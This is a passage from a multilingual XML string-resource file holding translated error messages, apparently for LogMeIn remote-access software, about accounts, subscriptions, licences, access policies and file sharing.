<fr>Impossible de rattacher cet ordianteur à votre compte %PRODUCTNAME.\r\n\r\nLancez %PRODUCTNAME et confirmez vos informations de compte.\r\n</fr>
<it>Impossibile collegare questo computer all'account %PRODUCTNAME.\r\n\r\nAprire %PRODUCTNAME e confermare i dettagli dell'account.\r\n</it>
<ru>Не удалось привязать данный компьютер к вашей учетной записи %PRODUCTNAME.Откройте %PRODUCTNAME и подтвердите сведения о своей учетной записи.\r\n</ru>
<ja>このコンピュータを %PRODUCTNAME アカウントに接続できませんでした。\r\n\r\n %PRODUCTNAMEを開き、アカウントの詳細を確認してください。\r\n</ja>
<zh>无法将此计算机连接至您的 %PRODUCTNAME 帐户。\r\n\r\n请打开 %PRODUCTNAME 并确认您的帐户详情。\r\n</zh>
<ko>%PRODUCTNAME 계정에 이 컴퓨터를 추가할 수 없습니다.\r\n\r\n%PRODUCTNAME을(를) 열고 계정 세부사항을 확인하십시오.\r\n</ko>
<en-gb>Could not attach this computer to your %PRODUCTNAME account.\r\n\r\nPlease open %PRODUCTNAME and confirm your account details.\r\n</en-gb>
<hu>Nem sikerült a számítógépet az Ön %PRODUCTNAME fiókjához kapcsolni.\r\n\r\nKérem, nyissa meg a %PRODUCTNAME programot és erősítse meg fiókjának adatait.\r\n</hu>
<pt-br>Não foi possível conectar este computador à sua conta do %PRODUCTNAME.\r\n\r\nAbra o %PRODUCTNAME e confirme os detalhes da sua conta.\r\n</pt-br>
<nl>Deze computer kon niet aan uw %PRODUCTNAME-account worden toegevoegd.\r\n\r\nStart %PRODUCTNAME en bevestig de detailgegevens van uw account.\r\n</nl>
</msg>
<msg name="19032">
<en>Selected subscription type is not available therefore free type is returned.</en>
<de>Der ausgewählte Abonnementtyp ist nicht verfügbar, daher wird der Typ "Free" zurückgegeben.</de>
<es>No está disponible el tipo de suscripción seleccionado; por lo tanto, se devuelve el tipo gratuito.</es>
<fr>Le type choisi d'abonnement n'est pas disponible, s'est pourquoi un type libre est retourné.</fr>
<it>Il tipo di sottoscrizione selezionato non è disponibile, quindi viene restituito quello gratuito.</it>
<ru>Выбранный тип подписки недоступен, поэтому возвращен свободный тип.</ru>
<ja>選択した利用期間の種類が有効ではありません。したがって、無料の種類が戻されます。</ja>
<zh>选择的订阅类型不可用,因此返回免费类型。</zh>
<ko>선택한 가입 유형을 사용할 수 없으므로, 무료 유형이 반환됩니다.</ko>
<en-gb>Selected subscription type is not available therefore free type is returned.</en-gb>
<hu>A választott előfizetési típus nem érhető el, így az ingyenes típusú került kiválasztásra.</hu>
<pt-br>O tipo de assinatura selecionado não está disponível; portanto, é retornado um tipo livre.</pt-br>
<nl>Het door u geselecteerde type abonnement is niet beschikbaar; daarom wordt de gratis Free-versie aangeboden.</nl>
</msg>
<msg name="19035">
<en>There are no available LogMeIn (IT Reach) licenses to complete the installation. Please contact the issuer of your emailed installation link.</en>
<de>Zur Fertigstellung der Installation stehen keine Lizenzen  für LogMeIn (IT Reach) zur Verfügung. Bitte kontaktieren Sie die Person, von der Sie den Installationslink per E-Mail erhalten haben.</de>
<es>No hay licencias de LogMeIn (IT Reach) disponibles para completar la instalación. Póngase en contacto con el emisor del vínculo de instalación que se le envió por correo electrónico.</es>
<fr>Il n'y a aucune license disponible de LogMeIn (IT Reach) pour accomplir  l'installation. Veuillez contacter la personne qui vous a envoyé l'email avec le lien d'installation.</fr>
<it>Non sono disponibili licenze di LogMeIn (IT Reach) per completare l'installazione. Contattare il mittente del collegamento di installazione mediante e-mail.</it>
<ru>Нет доступных лицензий LogMeIn (IT Reach), чтобы завершить данный процесс установки. Свяжитесь с поставщиком, который послал по электронной почте ссылку для установки.</ru>
<ja>このインストールを完了するための、有効な LogMeIn (IT Reach) ライセンスがありません。電子メールで受信したインストール リンクの発行元に問い合わせてください。</ja>
<zh>没有任何可用的 LogMeIn (IT Reach) 许可证来完成安装。请与通过电子邮件发送给您安装链接的颁发者联络。</zh>
<ko>설치를 완료하기 위해 사용할 수 있는 LogMeIn (IT Reach) 라이센스가 없습니다. 설치 링크를 전자 메일로 보낸 사용자에게 연락하십시오.</ko>
<en-gb>There are no available LogMeIn (IT Reach) licences to complete the installation. Please contact the issuer of your e-mailed installation link.</en-gb>
<hu>Nincsenek elérhető LogMeIn (IT Reach) licenszek a telepítés befejezéséhez. Kérem, vegye fel a kapcsolatot az e-mailben küldött telepítési hivatkozás feladójával.</hu>
<pt-br>Não há licenças do LogMeIn (IT Reach) disponíveis para completar a instalação. Entre em contato com o emissor do seu link de instalação enviado por email.</pt-br>
<nl>U hebt geen beschikbare LogMeIn (IT Reach)-licenties meer om de installatie uit te voeren. Neem contact op met de persoon die de link voor de installatie via e-mail naar u heeft verzonden.</nl>
</msg>
<msg name="19036">
<en>This computer has a previously installed trial of LogMeIn which has subsequently expired. Please contact the issuer of your emailed installation link.</en>
<de>Auf diesem Computer wurde früher ein Probe-Abo von LogMeIn installiert, das später abgelaufen ist Bitte kontaktieren Sie die Person, von der Sie den Installationslink per E-Mail erhalten haben.</de>
<es>Este ordenador ya ha tenido instalado una prueba de LogMeIn y ha caducado. Póngase en contacto con el emisor del vínculo de instalación que se le envió por correo electrónico.</es>
<fr>Cet ordinateur possède une version d'évaluation de LogMeIn qui a expirée. Veuillez contacter la personne qui vous a envoyé l'email avec le lien d'installation.</fr>
<it>Questo computer ha una versione di prova di LogMeIn installata in precedenza che nel frattempo è scaduta. Contattare il mittente del collegamento di installazione mediante e-mail.</it>
<ru>На данном компьютере ранее была установленная пробная версия LogMeIn, срок которой уже истек. Свяжитесь с поставщиком, который послал по электронной почте ссылку для установки.</ru>
<ja>このコンピュータには、以前にインストールされ、その後期限切れになっている LogMeIn の試用版が存在します。電子メールで受信したインストール リンクの発行元に問い合わせてください。</ja>
<zh>此计算机先前安装了 LogMeIn 的试用版,后来已经过期。请与通过电子邮件发送给您安装链接的颁发者联络。</zh>
<ko>이 컴퓨터에는 이전에 설치되고 만료된 LogMeIn의 평가 버전이 있습니다. 설치 링크를 전자 메일로 보낸 사용자에게 연락하십시오.</ko>
<en-gb>This computer has a previously installed trial of LogMeIn which has subsequently expired. Please contact the issuer of your e-mailed installation link.</en-gb>
<hu>Ez a számítógép egy korábban telepített LogMeIn próbaverzióval rendelkezik, amely lejárt. Kérem, vegye fel a kapcsolatot az e-mailben küldött telepítési hivatkozás feladójával.</hu>
<pt-br>Este computador possui uma avaliação do LogMeIn instalada anteriormente, e ela já expirou. Entre em contato com o emissor do seu link de instalação enviado por email.</pt-br>
<nl>Op deze computer is eerder reeds een licentie met een proefperiode voor LogMeIn geïnstalleerd en deze proefperiode is verstreken. Neem contact op met de persoon die de link voor de installatie via e-mail naar u heeft verzonden.</nl>
</msg>
<msg name="19037">
<en>This action cannot be performed because it would result in locking out the
computer (%CLIENTIP) you are accessing %PRODUCTNAME from.</en>
<de>Diese Aktion kann nicht durchgeführt werden, weil sie den Computer aussperren
würde von dem aus Sie auf diese Instanz von %PRODUCTNAME zugreifen.</de>
<es>Esta acción no puede realizarse debido a que ocasionaría el bloqueo del
equipo (%CLIENTIP) desde el que está accediendo a %PRODUCTNAME.</es>
<fr>Cette action ne peut pas être effectuée parce qu'elle aurait comme conséquence de bloquer l'accès à
l'ordinateur (%CLIENTIP) que vous accédez par %PRODUCTNAME.</fr>
<it>Questa azione non può essere eseguita perché bloccherebbe il computer (%CLIENTIP) da cui si sta eseguendo l'accesso a %PRODUCTNAME.</it>
<ru>Это действие не может быть выполнено, так как оно привело бы к блокировке компьютера (%CLIENTIP), с которого выполняется доступ к %PRODUCTNAME.</ru>
<ja>このアクションは、%PRODUCTNAME に接続しているコンピュータ (%CLIENTIP) をロックしてしまう可能性があるため、実行できません。</ja>
<zh>无法执行此操作,因为可能会导致访问 %PRODUCTNAME 所使用的计算机 (%CLIENTIP) 锁定。</zh>
<ko>이 작업은 %PRODUCTNAME에 액세스 중인 컴퓨터(%CLIENTIP)를 잠기게 하므로 수행할 수 없습니다.</ko>
<en-gb>This action cannot be performed because it would result in locking out the computer (%CLIENTIP) you are accessing %PRODUCTNAME from.</en-gb>
<hu>Ez a művelet nem hajtható végre, mert ennek eredményeként az a számítógép (%CLIENTIP) kerülne zárolásra, 
amelyről belép a %PRODUCTNAME programba.</hu>
<pt-br>Esta ação não pode ser executada, pois resultaria no bloqueio do
computador (%CLIENTIP) do qual você está acessando o %PRODUCTNAME.</pt-br>
<nl>Deze actie kan niet worden uitgevoerd omdat hierdoor de computer zal worden geblokkeerd (%CLIENTIP) waarvoor u met %PRODUCTNAME probeert toegang te krijgen.</nl>
</msg>
<msg name="19038">
<en>Failed to send Desktop Sharing email. Please try again later.</en>
<es>No se pudo enviar correo electrónico de Escritorio compartido. Por favor, vuelva a intentarlo más tarde.</es>
<de>Die E-Mail für die Desktopfreigabe konnte nicht gesendet werden. Bitte versuchen Sie es später erneut.</de>
<fr>Impossible d'envoyer l'email de partage de bureau. Réessayez ultérieurement.</fr>
<it>Impossibile inviare l'e-mail di Condivisione del desktop. Riprovare più tardi.</it>
<ru>Сбой отправки электронного письма с приглашением к совместному использованию рабочего стола. Повторите попытку позже.</ru>
<ja>デスクトップ共有メールの送信に失敗しました。 後でもう一度試してみてください。</ja>
<zh>无法发送桌面共享电子邮件。 请稍后再试。</zh>
<ko>데스크톱 공유 전자 메일을 보내지 못했습니다. 나중에 다시 시도하십시오.</ko>
<en-gb>Failed to send Desktop Sharing email. Please try again later.</en-gb>
<hu>Nem sikerült elküldeni az Képernyőmegosztás e-mailt. Próbálja újra később.</hu>
<pt-br>Falha ao enviar email de Compartilhamento da área de trabalho. Tente novamente mais tarde.</pt-br>
<nl>Verzenden van e-mailbericht voor Delen van bureaublad is mislukt. Probeer het later opnieuw.</nl>
</msg>
<msg name="19039">
<en>Failed to send Sharing email. Please try again later.</en>
<de>Die E-Mail für die Freigabe konnte nicht gesendet werden. Bitte starten Sie einen neuen Versuch.</de>
<es>No se pudo enviar correo electrónico de Compartir archivos. Inténtelo de nuevo más tarde.</es>
<it>Invio dell'e-mail di Condivisione file non riuscito. Riprovare più tardi.</it>
<ru>По электронной почте не удалось отправить сообщение о совместном доступе к файлам. Повторите попытку позднее.</ru>
<ja>ファイル共有の電子メールの送信に失敗しました。時間をおいて再試行してください。</ja>
<zh>发送“文件共享”电子邮件失败。请稍后再试。</zh>
<ko>파일 공유 전자 메일을 보내지 못했습니다. 나중에 다시 시도하십시오.</ko>
<en-gb>Failed to send Sharing e-mail. Please try again later.</en-gb>
<hu>Nem sikerült elküldeni a Fájlmegosztás e-mailt. Kérem, próbálkozzék újból később.</hu>
<pt-br>Falha ao enviar email de Compartilhamento de arquivos. Tente novamente mais tarde.</pt-br>
<nl>Verzenden van e-mailbericht voor Bestanden delen is mislukt. Probeer het later opnieuw.</nl>
</msg>
<msg name="19040">
<en>This license can not be found in the database.</en>
<de>Diese Lizenz kann in der Datenbank nicht gefunden werden.</de>
<es>Esta licencia no aparece en la base de datos.</es>
<fr>Cette licence est introuvable dans la base de données.</fr>
<it>Impossibile trovare questa licenza nel database.</it>
<ru>Не удается найти эту лицензию в базе данных.</ru>
<ja>このライセンスはデータベースに存在しません。</ja>
<zh>数据库中找不到此许可证。</zh>
<ko>데이터베이스에서 이 라이센스를 찾을 수 없습니다.</ko>
<hu>A licensz nem található meg az adatbázisban.</hu>
<pt-br>Esta licença não pode ser encontrada no banco de dados.</pt-br>
<nl>Deze licentie is niet in de database gevonden.</nl>
</msg>
<msg name="19041">
<en>Your authentication code does not match with that in the database.</en>
<de>Ihr Authentifizierungscode stimmt nicht mit dem in der Datenbank überein.</de>
<es>Su código de autenticación no coincide con el código almacenado en la base de datos.</es>
<fr>Votre code d’authentification ne correspond pas à celui de la base de données.</fr>
<it>Il codice di autenticazione non corrisponde a quello presente nel database.</it>
<ru>Код проверки подлинности не соответствует обнаруженному коду в базе данных.</ru>
<ja>この認証コードはデータベースとマッチしません。</ja>
<zh>您的验证码与数据库中的不符。</zh>
<ko>인증 코드가 데이터베이스의 인증 코드와 일치하지 않습니다.</ko>
<hu>Az Ön hitelesítő kódja nem egyezik az adatbázisban levővel.</hu>
<pt-br>Seu código de autenticação não corresponde ao do banco de dados.</pt-br>
<nl>Uw verificatiecode komt niet overeen met de code in de database.</nl>
</msg>
<msg name="19042">
<en>This subscription has expired.</en>
<de>Dieses Abo ist abgelaufen.</de>
<es>Esta suscripción ha caducado.</es>
<fr>Votre abonnement est arrivé à expiration.</fr>
<it>Questa sottoscrizione è scaduta.</it>
<ru>Срок этой подписки истек.</ru>
<ja>サービス利用期間は終了しました。</ja>
<zh>此订阅已到期。</zh>
<ko>현재 가입이 만료되었습니다.</ko>
<hu>Ez az előfizetés lejárt.</hu>
<pt-br>Esta assinatura expirou.</pt-br>
<nl>Dit abonnement is verstreken.</nl>
</msg>
<msg name="19043">
<en>Number of hosts has reached the limit for this subscription.</en>
<de>Die Anzahl der Hosts hat die max. Anzahl für dieses Abo erreicht.</de>
<es>Ha alcanzado el número máximo de hosts para esta suscripción.</es>
<fr>Nombre d'hôtes maximum atteint pour cet abonnement.</fr>
<it>Il numero di host per questa sottoscrizione ha raggiunto il limite consentito.</it>
<ru>Подключено максимальное количество хост-компьютеров, разрешенное данной подпиской.</ru>
<ja>ご利用中のサービスで利用可能なホスト数に達しました。</ja>
<zh>主机的数量已达到此订阅的限制。</zh>
<ko>호스트 수가 가입 한도에 도달했습니다.</ko>
<hu>A gazdagépek száma elérte az erre az előfizetésre meghatározott határértéket.</hu>
<pt-br>Já foi atingido o limite para o número de hosts desta assinatura.</pt-br>
<nl>De limiet voor het aantal hostcomputers is bereikt voor dit abonnement.</nl>
</msg>
<msg name="19044">
<en>License change is requested.</en>
<de>Eine Lizenzänderung ist erforderlich.</de>
<es>Se ha solicitado un cambio de licencia.</es>
<fr>Une modification de licence est nécessaire.</fr>
<it>È necessario cambiare la licenza.</it>
<ru>Требуется изменить лицензию.</ru>
<ja>ライセンス更新のリクエストを受け付けました。</ja>
<zh>已请求更改许可证。</zh>
<ko>라이센스 변경이 필요합니다.</ko>
<hu>licenszmódosítást kért.</hu>
<pt-br>É solicitada uma alteração de licença.</pt-br>
<nl>De aanvraag voor de wijziging van de licentie is ontvangen.</nl>
</msg>
<msg name="19045">
<en>License could not be changed.</en>
<de>Die Lizenz konnte nicht geändert werden.</de>
<es>La licencia no se ha podido cambiar.</es>
<fr>La licence n’a pas pu être modifiée.</fr>
<it>Impossibile cambiare la licenza.</it>
<ru>Лицензия не может быть изменена.</ru>
<ja>ライセンスを更新することはできません。</ja>
<zh>不能更改许可证。</zh>
<ko>라이센스를 변경할 수 없습니다.</ko>
<hu>A licensz nem módosítható.</hu>
<pt-br>A licença não pôde ser alterada.</pt-br>
<nl>De licentie kon niet worden gewijzigd.</nl>
</msg>
<msg name="19046">
<en>The profile you selected does not exist.</en>
<de>Das von Ihnen ausgewählte Profil existiert nicht.</de>
<es>El perfil que ha seleccionado no existe.</es>
<fr>Le profil que vous avez sélectionné n’existe pas.</fr>
<it>Il profilo selezionato non esiste.</it>
<ru>Выбранный профиль не существует.</ru>
<ja>選択されたプロファイル存在しません。</ja>
<zh>您选择的配置文件不存在。</zh>
<ko>선택한 프로필이 없습니다.</ko>
<hu>A kiválasztott profil nem létezik.</hu>
<pt-br>O perfil selecionado não existe.</pt-br>
<nl>Het door u geselecteerde profiel bestaat niet.</nl>
</msg>
<msg name="19047">
<en>There are no subscriptions available for this profile.</en>
<de>Für dieses Profil sind keine Abos verfügbar.</de>
<es>No hay ninguna suscripción disponible para este perfil.</es>
<fr>Pas d’abonnements disponibles pour ce profil.</fr>
<it>Non vi sono sottoscrizioni disponibili per questo profilo.</it>
<ru>Для данного профиля доступные подписки отсутствуют.</ru>
<ja>このプロファイルでサービスを利用することはできません。</ja>
<zh>此配置文件尚未订阅。</zh>
<ko>현재 프로필에 사용할 수 있는 가입이 없습니다.</ko>
<hu>Ehhez a profilhoz nincsenek elérhető előfizetések.</hu>
<pt-br>Não há assinaturas disponíveis para este perfil.</pt-br>
<nl>Er zijn geen abonnementen beschikbaar voor dit profiel.</nl>
</msg>
<msg name="19048">
<en>No permission to deploy for this profile.</en>
<de>Keine Erlaubnis zum Einsatz dieses Profils.</de>
<es>No está permitido utilizar este perfil.</es>
<fr>Pas d’autorisation pour le déploiement de ce profil.</fr>
<it>Nessuna autorizzazione di distribuzione per questo profilo.</it>
<ru>Разрешение на развертывание для этого профиля отсутствует.</ru>
<ja>このプロファイルでは開始する権限がありません。</ja>
<zh>此配置文件没有部署权限。</zh>
<ko>현재 프로필에 대한 배치 권한이 없습니다.</ko>
<hu>Nincs alkalmazható engedély ehhez a profilhoz.</hu>
<pt-br>Não há permissão de implementação para este perfil.</pt-br>
<nl>U beschikt niet over de toestemming om dit profiel te implementeren.</nl>
</msg>
<msg name="19049">
<en>Cookies are disabled in IE.</en>
<de>Die Cookies im Internet Explorer sind deaktiviert.</de>
<es>Cookies desactivadas en Internet Explorer.</es>
<fr>Les cookies sont désactivés dans Internet Explorer.</fr>
<it>In IE i cookie sono disattivati.</it>
<ru>Cookies отключены в IE.</ru>
<ja>IEの設定でクッキーが無効になっています。</ja>
<zh>IE 中禁用了 Cookie。</zh>
<ko>IE에서 쿠키를 사용할 수 없습니다.</ko>
<hu>A cookie-k ki vannak kapcsolva az Internet Explorerben.</hu>
<pt-br>Os cookies estão desabilitados no IE.</pt-br>
<nl>Het accepteren van cookies is uitgeschakeld in IE.</nl>
</msg>
<msg name="19051">
<en>Email sending failed.</en>
<de>Senden der E-Mail fehlgeschlagen.</de>
<es>Fallo al enviar el correo electrónico.</es>
<fr>Echec de l’envoi du e-mail.</fr>
<it>Invio messaggio e-mail non riuscito.</it>
<ru>Не удается отправить сообщение электронной почты.</ru>
<ja>メールの送信に失敗しました。</ja>
<zh>电子邮件发送失败。</zh>
<ko>전자 메일 발송에 실패했습니다.</ko>
<hu>Az e-mail küldés sikertelen volt.</hu>
<pt-br>Falha no envio de email.</pt-br>
<nl>Verzenden van e-mailbericht is mislukt.</nl>
</msg>
<msg name="19052">
<en>Invalid email address or password.</en>
<de>Ungültige E-Mail-Adresse oder ungültiges Passwort.</de>
<es>La dirección de correo electrónico o la contraseña no son válidos.</es>
<fr>Adresse e-mail ou mot de passe non valide.</fr>
<it>Indirizzo e-mail o password non validi.</it>
<ru>Неправильный адрес или пароль электронной почты.</ru>
<ja>無効なEメールアドレスまたはパスワードです。</ja>
<zh>电子邮件地址或密码无效。</zh>
<ko>전자 메일 주소나 암호가 올바르지 않습니다.</ko>
<hu>Érvénytelen e-mail cím vagy jelszó.</hu>
<pt-br>Endereço de email ou senha inválidos.</pt-br>
<nl>Ongeldig e-mailadres of wachtwoord.</nl>
<en-gb>Invalid email address or password.</en-gb>
</msg>
<msg name="19053">
<en>This user cannot access this %PRODUCTNAME% client.</en>
<de>Dieser Benutzer kann nicht auf diesen %PRODUCTNAME%-Client zugreifen.</de>
<es>Este usuario no puede acceder a la cuenta de este cliente de %PRODUCTNAME%.</es>
<fr>Cet utilisateur ne peut pas accéder à ce client %PRODUCTNAME%.</fr>
<it>L'utente non può accedere a questo client di %PRODUCTNAME%.</it>
<ru>Этот пользователь не имеет доступа к клиенту %PRODUCTNAME%.</ru>
<ja>このユーザは %PRODUCTNAME% クライアントに接続することができません</ja>
<zh>此用户无法访问该 %PRODUCTNAME% 客户端。</zh>
<ko>이 사용자는 현재 %PRODUCTNAME% 클라이언트에 액세스할 수 없습니다.</ko>
<hu>Ez a felhasználó nem férhet hozzá ehhez a %PRODUCTNAME kliensprogramhoz.</hu>
<pt-br>Este usuário não pode acessar este cliente do %PRODUCTNAME%.</pt-br>
<nl>Deze gebruiker krijgt geen toegang tot deze %PRODUCTNAME%-client.</nl>
</msg>
<msg name="19054">
<en>Invalid email address format.</en>
<de>Ungültiges Format für die E-Mail-Adresse.</de>
<es>El formato de la dirección de correo electrónico no es válida.</es>
<fr>Format d’adresse e-mail non valide.</fr>
<it>Formato non valido dell'indirizzo e-mail.</it>
<ru>Неверный формат адреса электронной почты.</ru>
<ja>無効なメールアドレス形式です。</ja>
<zh>电子邮件地址格式无效。</zh>
<ko>전자 메일 주소 형식이 올바르지 않습니다.</ko>
<hu>Érvénytelen e-mail cím formátum.</hu>
<pt-br>Formato de endereço de email inválido.</pt-br>
<nl>Ongeldige notatie van e-mailadres.</nl>
</msg>
<!-- HandleHttpTemplateRequest.cpp -->
<msg name="19100">
<en>The specified action name is not recognized (internal error).</en>
<de>Der angegebene Befehl wurde nicht erkannt (interner Fehler).</de>
<es>El nombre de acción especificado no puede reconocerse (error interno).</es>
<fr>La commande spécifiée n'est pas reconnue (erreur interne).</fr>
<it>Il nome azione specificato non è riconosciuto (errore interno).</it>
<ru>Имя указанного действия не распознано (внутренняя ошибка).</ru>
<ja>指定したアクション名を認識できません (内部エラー)。</ja>
<zh>没有识别指定的操作名(内部错误)。</zh>
<ko>지정된 작업 이름이 인식되지 않습니다(내부 오류).</ko>
<en-gb>The specified action name is not recognised (internal error).</en-gb>
<hu>A rendszer nem ismeri fel a megadott műveletnevet (belső hiba).</hu>
<pt-br>O nome da ação especificada não é reconhecido (erro interno).</pt-br>
<nl>De opgegeven actienaam kon niet worden herkend (interne fout).</nl>
</msg>
<msg name="19101">
<en>The feature you have selected is not available in this edition of %PRODUCTNAME.</en>
<de>Die gewählte Funktion steht in dieser Edition von %PRODUCTNAME nicht zur Verfügung.</de>
<es>La función que ha seleccionado no está disponible en esta edición de %PRODUCTNAME.</es>
<fr>La caractéristique que vous avez spécifiée n'est pas disponible dans cette version de %PRODUCTNAME.</fr>
<it>La funzione selezionata non è disponibile in questa edizione di %PRODUCTNAME.</it>
<ru>Выбранная функция недоступна в данной версии %PRODUCTNAME.</ru>
<ja>選択した機能は %PRODUCTNAME のこのエディションでは有効ではありません。</ja>
<zh>所选的功能在此版本的 %PRODUCTNAME 中不可用。</zh>
<ko>선택한 기능은 이 %PRODUCTNAME 버전에서 사용할 수 없습니다.</ko>
<en-gb>The feature you have selected is not available in this edition of %PRODUCTNAME.</en-gb>
<hu>A kiválasztott funkció nem érhető el a %PRODUCTNAME ezen verziójában.</hu>
<pt-br>O recurso que você selecionou não está disponível neta edição do %PRODUCTNAME.</pt-br>
<nl>De functie die u hebt geselecteerd is niet beschikbaar in deze versie van %PRODUCTNAME.</nl>
</msg>
<!-- Policy errors -->
<msg name="19200">
<en>Your system administrator has set a policy that does not allow your user account to access this computer via %PRODUCTNAME.</en>
<de>Ihr Systemadministrator hat eine Richtlinien gesetzt, die es ihrem Benutzerkonto nicht erlaubt, auf den Computer über %PRODUCTNAME zuzugreifen.</de>
<es>El administrador del sistema ha establecido una directiva que no permite a su cuenta de usuario acceder a este ordenador a través de %PRODUCTNAME.</es>
<fr>Votre administrateur système a mis en place des droits d'accès qui ne permettent pas à votre compte utilisateur d'accéder à cet ordinateur par l'intermédiaire de %PRODUCTNAME.</fr>
<it>L'amministratore di sistema ha impostato criteri che non consentono a un account utente di accedere a questo computer tramite %PRODUCTNAME.</it>
<ru>Системный администратор установил политику, которая не позволяет в контексте вашей учетной записи получить доступ к данному компьютеру через %PRODUCTNAME.</ru>
<ja>システム管理者が設定したポリシーでは、%PRODUCTNAME 経由でこのコンピュータにアクセスすることが許可されていません。</ja>
<zh>您的系统管理员已经设定了策略,不允许您的用户帐户通过 %PRODUCTNAME 访问此计算机。</zh>
<ko>시스템 관리자는 사용자 계정에 %PRODUCTNAME을(를) 통한 액세스를 허용하지 않는 정책을 설정했습니다.</ko>
<en-gb>Your system administrator has set a policy that does not allow your user account to access this computer via %PRODUCTNAME.</en-gb>
<hu>A rendszergazda olyan házirendet állított be, amely nem teszi lehetővé az Ön felhasználói fiókja számára, hogy a számítógépet a %PRODUCTNAME programon keresztül érje el.</hu>
<pt-br>O administrador do sistema definiu uma política que não permite que sua conta de usuário acesse este computador via %PRODUCTNAME.</pt-br>
<nl>Uw systeembeheerder heeft een beleid ingesteld waarbij voor uw gebruikersaccount geen toegang tot deze computer mogelijk is via %PRODUCTNAME.</nl>
</msg>
<!-- Drive mapping errors-->
<msg name="19300">
<en>The specified remote resource is being used by another user.</en>
<de>Die angegebene Fernressource wird von einem anderen Benutzer verwendet.</de>
<es>El recurso remoto especificado está siendo utilizado por otro usuario.</es>
<fr>La ressource distance spécifiée est actuellement déjà utilisée par un autre utilisateur.</fr>
<it>La risorsa remota specificata viene utilizzata da un altro utente.</it>
<ru>Указанный удаленный ресурс используется другим пользователем.</ru>
<ja>指定したリモート リソースは、他のユーザが使用しています。</ja>
<zh>另一个用户正在使用指定的远程资源。</zh>
<ko>다른 사용자가 지정된 원격 리소스를 사용하는 중입니다.</ko>
<en-gb>The specified remote resource is being used by another user.</en-gb>
<hu>A megadott távoli erőforrást egy másik felhasználó használja.</hu>
<pt-br>O recurso remoto especificado está sendo usado por outro usuário.</pt-br>
<nl>De opgegeven externe bron wordt op dit moment gebruikt door een andere gebruiker.</nl>
</msg>
<!-- SSH errors -->
<msg name="19400">
<en>The specified public key is invalid.</en>
<de>Der angegebene öffentliche Schlüssel ist ungültig.</de>
<fr>La clé publique spécifiée n'est pas valide.</fr>
<es>La clave pública especificada no es válida.</es>
<it>La chiave pubblica specificata non è valida.</it>
<ru>Указан недопустимый открытый ключ.</ru>
<ja>指定した公開鍵は無効です。</ja>
<zh>指定的公钥无效。</zh>
<ko>지정된 공용 키가 올바르지 않습니다.</ko>
<en-gb>The specified public key is invalid.</en-gb>
<hu>A megadott nyilvános kulcs nem érvényes.</hu>
<pt-br>A chave pública especificada é inválida.</pt-br>
<nl>De opgegeven openbare sleutel is ongeldig.</nl>
</msg>
<!-- Custom errors -->
<msg name="19900">
<en>You have selected a zero-length file. Empty files cannot be shared.</en>
<de>Sie haben eine Datei der Größe Null ausgewählt. Leere Dateien können nicht freigegeben werden.</de>
<es>Ha seleccionado un archivo de longitud cero. No se pueden compartir archivos vacíos.</es>
<fr>Vous avez sélectionné un fichier dont la taille est égale à zéro. Les fichiers vides ne peuvent pas être partagés.</fr>
<it>È stato selezionato un file di lunghezza zero. I file vuoti non possono essere condivisi.</it>
<ru>Выбран файл нулевой длины. Пустой файл не может быть общим.</ru>
<ja>長さゼロのファイルを選択しています。空のファイルは共有できません。</ja>
<zh>您选择了长度为零的文件。内容为空的文件不能被共享。</zh>
<ko>길이가 0인 파일을 선택했습니다. 빈 파일은 공유할 수 없습니다.</ko>
<en-gb>You have selected a zero-length file. Empty files cannot be shared.</en-gb>
<hu>Ön nulla hosszúságú fájlt választott ki. Az üres fájlokat nem lehet megosztani.</hu>
<pt-br>Você selecionou um arquivo vazio. Arquivos vazios não podem ser compartilhados.</pt-br>
<nl>U hebt een bestand met lengte nul geselecteerd. Lege bestanden kunnen niet worden gedeeld.</nl>
</msg>
<msg name="19901">
<en>Cannot copy this folder: The destination folder is a subfolder of the source folder.</en>
<de>Dieser Ordner kann nicht kopiert werden: Der Zielordner ist ein Unterordner des Quellordners.</de>
<es>No es posible copiar esta carpeta: La carpeta de destino es una subcarpeta de la carpeta fuente.</es>
<fr>Impossible de copier ce dossier : Le dossier de destination est un sous-dossier du dossier source.</fr>
<it>Impossibile copiare questa cartella: la cartella di destinazione è una sottocartella della cartella di origine.</it>
<ru>Не удается скопировать папку: папка назначения вложена в папку источника.</ru>
<ja>このフォルダをコピーできません:コピー先のフォルダはソース フォルダのサブフォルダです。</ja>
<zh>无法复制此文件夹:目标文件夹是源文件夹的子文件夹。</zh>
<ko>이 폴더를 복사할 수 없습니다. 대상 폴더는 원본 폴더의 하위 폴더입니다.</ko>
<hu>Nem másolható ez a mappa: A célmappa a forrásmappa almappája.</hu>
<pt-br>Não é possível copiar esta pasta: a pasta de destino é uma subpasta da pasta de origem.</pt-br>
<nl>Deze map kon niet worden gekopieerd: De doelmap is een submap van de bronmap.</nl>
</msg>
<msg name="19902">
<en>The selected Reboot date is in the past. Please schedule your Reboot for a future date.</en>
<es>La fecha de reinicio seleccionada ya pasó. Vuelva a programar el reinicio en una fecha futura.</es>
<de>Der gewählte Zeitpunkt für den Neustart liegt in der Vergangenheit. Bitte geben Sie einen Neustarttermin in der Zukunft ein.</de>
<fr>La date de redémarrage est dépassée. Choisissez une date de redémarrage à venir.</fr>
<it>La data di Riavvio selezionata è già passata. Pianificare il Riavvio in una data futura.</it>
<ru>Выбрана дата перезагрузки в прошлом. Установите для перезагрузки будущую дату.</ru>
<ja>選択された再起動の日付はすでに過ぎています。 今後の日付に再起動をスケジュールしてください。</ja>
<zh>选择的“重新引导日期”在过去。 请将您的“重新引导”安排在未来日期。</zh>
<ko>선택한 재부팅 날짜가 과거입니다. 재부팅 날짜를 오늘 이후로 재설정하십시오.</ko>
<en-gb>The selected Reboot date is in the past. Please schedule your Reboot for a future date.</en-gb>
<hu>A kiválasztott újraindítási dátum elmúlt. Az újraindítást ütemezze egy jövőbeli időpontra.</hu>
<pt-br>A Data de reinicialização selecionada é anterior à data atual. Programe sua reinicialização para uma data futura.</pt-br>
<nl>De geselecteerde reboot-datum ligt in het verleden. Selecteer een toekomstige datum voor uw reboot.</nl>
</msg>
<msg name="19903">
<en>The Personal Password must be at least six characters but not more than fifteen characters in length.</en>
<de>Das persönliche Kennwort muss mindestens 6 Zeichen lang sein und darf 15 Zeichen nicht überschreiten.</de>
<es>La contraseña personal debe tener al menos seis caracteres, pero no debe superar los quince caracteres en ningún caso.</es>
<fr>Le Mot de passe Personnel doit contenir au minimum six caractères mais au maximun quinze caractères.</fr>
<it>La password personale deve contenere un minimo di 6 e un massimo di 15 caratteri.</it>
<ru>Личный пароль должен иметь в длину не менее шести, но не более пятнадцати символов.</ru>
